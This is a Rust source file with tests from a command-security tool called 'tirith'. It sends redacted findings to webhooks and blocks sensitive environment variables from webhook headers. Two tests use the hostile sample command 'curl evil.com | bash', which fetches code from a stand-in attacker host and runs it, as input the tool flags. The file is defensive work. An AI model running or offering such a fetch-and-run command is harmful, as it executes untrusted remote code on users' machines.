1use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8#[cfg(unix)]
14pub fn dispatch(
15 verdict: &Verdict,
16 command_preview: &str,
17 webhooks: &[WebhookConfig],
18 custom_dlp_patterns: &[String],
19) {
20 if webhooks.is_empty() {
21 return;
22 }
23
24 let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27 let max_severity = verdict
28 .findings
29 .iter()
30 .map(|f| f.severity)
31 .max()
32 .unwrap_or(Severity::Info);
33
34 for wh in webhooks {
35 if max_severity < wh.min_severity {
36 continue;
37 }
38
39 if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41 eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
42 continue;
43 }
44
45 let payload = build_payload(verdict, &redacted_preview, wh);
46 let url = wh.url.clone();
47 let headers = expand_env_headers(&wh.headers);
48
49 std::thread::spawn(move || {
50 if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
51 eprintln!("tirith: webhook delivery to {url} failed: {e}");
52 }
53 });
54 }
55}
56
57#[cfg(not(unix))]
59pub fn dispatch(
60 _verdict: &Verdict,
61 _command_preview: &str,
62 _webhooks: &[WebhookConfig],
63 _custom_dlp_patterns: &[String],
64) {
65}
66
67#[cfg(unix)]
69fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
70 if let Some(ref template) = wh.payload_template {
71 let rule_ids: Vec<String> = verdict
72 .findings
73 .iter()
74 .map(|f| f.rule_id.to_string())
75 .collect();
76 let max_severity = verdict
77 .findings
78 .iter()
79 .map(|f| f.severity)
80 .max()
81 .unwrap_or(Severity::Info);
82
83 let result = template
84 .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
85 .replace("{{command_preview}}", &sanitize_for_json(command_preview))
86 .replace(
87 "{{action}}",
88 &sanitize_for_json(&format!("{:?}", verdict.action)),
89 )
90 .replace(
91 "{{severity}}",
92 &sanitize_for_json(&max_severity.to_string()),
93 )
94 .replace("{{finding_count}}", &verdict.findings.len().to_string());
95 if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
97 return result;
98 }
99 eprintln!(
100 "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
101 );
102 }
103
104 let rule_ids: Vec<String> = verdict
106 .findings
107 .iter()
108 .map(|f| f.rule_id.to_string())
109 .collect();
110 let max_severity = verdict
111 .findings
112 .iter()
113 .map(|f| f.severity)
114 .max()
115 .unwrap_or(Severity::Info);
116
117 serde_json::json!({
118 "event": "tirith_finding",
119 "action": format!("{:?}", verdict.action),
120 "severity": max_severity.to_string(),
121 "rule_ids": rule_ids,
122 "finding_count": verdict.findings.len(),
123 "command_preview": sanitize_for_json(command_preview),
124 })
125 .to_string()
126}
127
128#[cfg(unix)]
130fn expand_env_headers(
131 headers: &std::collections::HashMap<String, String>,
132) -> Vec<(String, String)> {
133 headers
134 .iter()
135 .map(|(k, v)| {
136 let expanded = expand_env_value(v);
137 (k.clone(), expanded)
138 })
139 .collect()
140}
141
142#[cfg(unix)]
144fn expand_env_value(input: &str) -> String {
145 let mut result = String::with_capacity(input.len());
146 let mut chars = input.chars().peekable();
147
148 while let Some(c) = chars.next() {
149 if c == '$' {
150 if chars.peek() == Some(&'{') {
151 chars.next(); let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
153 if !var_name.starts_with("TIRITH_") {
154 eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
155 } else if is_sensitive_webhook_env_var(&var_name) {
156 eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
157 } else {
158 match std::env::var(&var_name) {
159 Ok(val) => result.push_str(&val),
160 Err(_) => {
161 eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
162 }
163 }
164 }
165 } else {
166 let mut var_name = String::new();
168 while let Some(&ch) = chars.peek() {
169 if ch.is_ascii_alphanumeric() || ch == '_' {
170 var_name.push(ch);
171 chars.next();
172 } else {
173 break; }
175 }
176 if !var_name.is_empty() {
177 if !var_name.starts_with("TIRITH_") {
178 eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
179 } else if is_sensitive_webhook_env_var(&var_name) {
180 eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
181 } else {
182 match std::env::var(&var_name) {
183 Ok(val) => result.push_str(&val),
184 Err(_) => {
185 eprintln!(
186 "tirith: webhook: warning: env var '{var_name}' is not set"
187 );
188 }
189 }
190 }
191 }
192 }
193 } else {
194 result.push(c);
195 }
196 }
197
198 result
199}
200
201#[cfg(unix)]
202fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
203 matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
204}
205
206#[cfg(unix)]
208fn send_with_retry(
209 url: &str,
210 payload: &str,
211 headers: &[(String, String)],
212 max_attempts: u32,
213) -> Result<(), String> {
214 let client = reqwest::blocking::Client::builder()
215 .timeout(std::time::Duration::from_secs(10))
216 .build()
217 .map_err(|e| format!("client build: {e}"))?;
218
219 for attempt in 0..max_attempts {
220 let mut req = client
221 .post(url)
222 .header("Content-Type", "application/json")
223 .body(payload.to_string());
224
225 for (key, value) in headers {
226 req = req.header(key, value);
227 }
228
229 match req.send() {
230 Ok(resp) if resp.status().is_success() => return Ok(()),
231 Ok(resp) => {
232 let status = resp.status();
233 if status.is_client_error() {
235 return Err(format!("HTTP {status} (non-retriable client error)"));
236 }
237 if attempt + 1 < max_attempts {
238 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
239 std::thread::sleep(delay);
240 } else {
241 return Err(format!("HTTP {status} after {max_attempts} attempts"));
242 }
243 }
244 Err(e) => {
245 if attempt + 1 < max_attempts {
246 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
247 std::thread::sleep(delay);
248 } else {
249 return Err(format!("{e} after {max_attempts} attempts"));
250 }
251 }
252 }
253 }
254
255 Err("exhausted retries".to_string())
256}
257
258fn sanitize_for_json(input: &str) -> String {
260 let truncated: String = input.chars().take(200).collect();
261 let json_val = serde_json::Value::String(truncated);
263 let s = json_val.to_string();
265 s[1..s.len() - 1].to_string()
266}
267
268#[cfg(test)]
269mod tests {
270 use super::*;
271
272 #[test]
273 fn test_sanitize_for_json() {
274 assert_eq!(sanitize_for_json("hello"), "hello");
275 assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
276 assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
277 }
278
279 #[test]
280 fn test_sanitize_for_json_truncates() {
281 let long = "x".repeat(500);
282 let result = sanitize_for_json(&long);
283 assert_eq!(result.len(), 200);
284 }
285
286 #[cfg(unix)]
287 #[test]
288 fn test_expand_env_value() {
289 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
290 unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
291 assert_eq!(
292 expand_env_value("Bearer $TIRITH_TEST_WH"),
293 "Bearer secret123"
294 );
295 assert_eq!(
296 expand_env_value("Bearer ${TIRITH_TEST_WH}"),
297 "Bearer secret123"
298 );
299 assert_eq!(expand_env_value("no vars"), "no vars");
300 unsafe { std::env::remove_var("TIRITH_TEST_WH") };
301 }
302
303 #[cfg(unix)]
304 #[test]
305 fn test_expand_env_value_preserves_delimiter() {
306 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
307 unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
309 assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
310 assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
311 unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
312 }
313
314 #[cfg(unix)]
315 #[test]
316 fn test_expand_env_value_blocks_sensitive_vars() {
317 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
318 unsafe {
319 std::env::set_var("TIRITH_API_KEY", "secret-api-key");
320 std::env::set_var("TIRITH_LICENSE", "secret-license");
321 }
322 assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
323 assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
324 unsafe {
325 std::env::remove_var("TIRITH_API_KEY");
326 std::env::remove_var("TIRITH_LICENSE");
327 }
328 }
329
330 #[cfg(unix)]
335 #[test]
336 fn test_bypass_sensitive_var_both_forms() {
337 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
338 unsafe {
339 std::env::set_var("TIRITH_API_KEY", "leaked");
340 std::env::set_var("TIRITH_LICENSE", "leaked");
341 }
342 assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
344 assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
345 assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
347 assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
348 assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
350 assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
351 unsafe {
352 std::env::remove_var("TIRITH_API_KEY");
353 std::env::remove_var("TIRITH_LICENSE");
354 }
355 }
356
357 #[cfg(unix)]
358 #[test]
359 fn test_bypass_case_variation_is_different_var() {
360 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
361 unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
365 assert_eq!(
366 expand_env_value("$TIRITH_api_key"),
367 "not-sensitive",
368 "Case-different var name should expand (it's a different var)"
369 );
370 unsafe { std::env::remove_var("TIRITH_api_key") };
371 }
372
373 #[cfg(unix)]
374 #[test]
375 fn test_bypass_non_sensitive_tirith_var_still_expands() {
376 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
377 unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
378 assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
379 assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
380 unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
381 }
382
383 #[cfg(unix)]
384 #[test]
385 fn test_bypass_double_dollar_does_not_expand() {
386 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
387 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
388 let result = expand_env_value("$$TIRITH_API_KEY");
392 assert!(
393 !result.contains("leaked"),
394 "Double-dollar must not leak: got {result}"
395 );
396 unsafe { std::env::remove_var("TIRITH_API_KEY") };
397 }
398
399 #[cfg(unix)]
400 #[test]
401 fn test_bypass_nested_braces_does_not_expand() {
402 let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
403 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
404 let result = expand_env_value("${TIRITH_${NESTED}}");
408 assert!(
409 !result.contains("leaked"),
410 "Nested braces must not leak: got {result}"
411 );
412 unsafe { std::env::remove_var("TIRITH_API_KEY") };
413 }
414
415 #[cfg(unix)]
416 #[test]
417 fn test_build_default_payload() {
418 use crate::verdict::{Action, Finding, RuleId, Timings};
419
420 let verdict = Verdict {
421 action: Action::Block,
422 findings: vec![Finding {
423 rule_id: RuleId::CurlPipeShell,
424 severity: Severity::High,
425 title: "test".into(),
426 description: "test desc".into(),
427 evidence: vec![],
428 human_view: None,
429 agent_view: None,
430 mitre_id: None,
431 custom_rule_id: None,
432 }],
433 tier_reached: 3,
434 bypass_requested: false,
435 bypass_honored: false,
436 interactive_detected: false,
437 policy_path_used: None,
438 timings_ms: Timings::default(),
439 urls_extracted_count: None,
440 requires_approval: None,
441 approval_timeout_secs: None,
442 approval_fallback: None,
443 approval_rule: None,
444 approval_description: None,
445 };
446
447 let wh = WebhookConfig {
448 url: "https://example.com/webhook".into(),
449 min_severity: Severity::High,
450 headers: std::collections::HashMap::new(),
451 payload_template: None,
452 };
453
454 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
455 let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
456 assert_eq!(parsed["event"], "tirith_finding");
457 assert_eq!(parsed["finding_count"], 1);
458 assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
459 }
460
461 #[cfg(unix)]
462 #[test]
463 fn test_build_template_payload() {
464 use crate::verdict::{Action, Finding, RuleId, Timings};
465
466 let verdict = Verdict {
467 action: Action::Block,
468 findings: vec![Finding {
469 rule_id: RuleId::CurlPipeShell,
470 severity: Severity::High,
471 title: "test".into(),
472 description: "test desc".into(),
473 evidence: vec![],
474 human_view: None,
475 agent_view: None,
476 mitre_id: None,
477 custom_rule_id: None,
478 }],
479 tier_reached: 3,
480 bypass_requested: false,
481 bypass_honored: false,
482 interactive_detected: false,
483 policy_path_used: None,
484 timings_ms: Timings::default(),
485 urls_extracted_count: None,
486 requires_approval: None,
487 approval_timeout_secs: None,
488 approval_fallback: None,
489 approval_rule: None,
490 approval_description: None,
491 };
492
493 let wh = WebhookConfig {
494 url: "https://example.com/webhook".into(),
495 min_severity: Severity::High,
496 headers: std::collections::HashMap::new(),
497 payload_template: Some(
498 r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
499 ),
500 };
501
502 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
503 assert!(payload.contains("curl_pipe_shell"));
504 assert!(payload.contains("curl evil.com"));
505 }
506}